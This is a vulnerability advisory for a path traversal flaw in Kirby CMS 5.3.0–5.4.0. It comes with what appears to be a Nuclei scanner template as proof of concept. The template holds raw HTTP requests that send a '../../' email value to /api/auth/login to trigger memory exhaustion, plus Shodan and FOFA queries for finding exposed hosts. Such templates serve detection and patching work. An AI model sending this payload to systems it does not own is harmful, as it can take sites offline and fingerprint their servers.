Kirby CMS versions 5.3.0 through 5.4.0 are vulnerable to a path traversal vulnerability via the /api/auth/login endpoint. An unauthenticated attacker may supply a specially crafted email value in the request body containing traversal sequences (such as "../.."), which the application concatenates directly into a filesystem path when hydrating user objects. This can result in the resolution of paths outside the intended accounts directory and may lead to the inclusion of unintended files such as index.php, causing a denial of service by exhausting memory limits. The issue is addressed in version 5.4.1 by properly validating and sanitizing the user-supplied input to prevent directory traversal.
PoC
id: CVE-2026-44177
info:
name: Kirby CMS 5.3.0-5.4.0 - Path Traversal
author: str4k3r
severity: high
description: |
Kirby CMS versions 5.3.0 through 5.4.0 are vulnerable to a path traversal vulnerability via the /api/auth/login endpoint. An unauthenticated attacker may supply a specially crafted email value in the request body containing traversal sequences (such as "../.."), which the application concatenates directly into a filesystem path when hydrating user objects. This can result in the resolution of paths outside the intended accounts directory and may lead to the inclusion of unintended files such as index.php, causing a denial of service by exhausting memory limits. The issue is addressed in version 5.4.1 by properly validating and sanitizing the user-supplied input to prevent directory traversal.
impact: |
Attackers can include arbitrary PHP files and fingerprint server directories, potentially leading to code execution or information disclosure.
remediation: |
Update to version 5.4.1 or later.
reference:
- https://github.com/getkirby/kirby/security/advisories/GHSA-9hx7-c53c-v6x8
- https://github.com/getkirby/kirby/releases/tag/5.4.1
- https://nvd.nist.gov/vuln/detail/CVE-2026-44177
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
cvss-score: 8.8
cve-id: CVE-2026-44177
epss-score: 0.0177
epss-percentile: 0.77009
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
product: kirby
vendor: getkirby
shodan-query: http.favicon.hash:987600836
fofa-query: icon_hash="987600836"
tags: cve,cve2026,kirby,cms,lfi,traversal
http:
- raw:
- |
GET /panel/installation HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- '"csrf":"([a-f0-9]+)"'
internal: true
- raw:
- |
POST /api/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-CSRF: {{csrf}}
{"email":"../../","password":"x","long":false}
matchers-condition: or
matchers:
- type: word
part: body
words:
- "currently offline due to an unexpected error"
- type: word
part: body
words:
- "Allowed memory size of"
- "bytes exhausted (tried to allocate"
condition: and
# digest: 490a00463044022078fef728b85fb470d32922dc3328bdc2250fc36584d9b1ef8535d4699dfd06ab022007590ce388ab81b4b70274ad2a0dd800ecff818a8887a908df85828a4becbe0e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.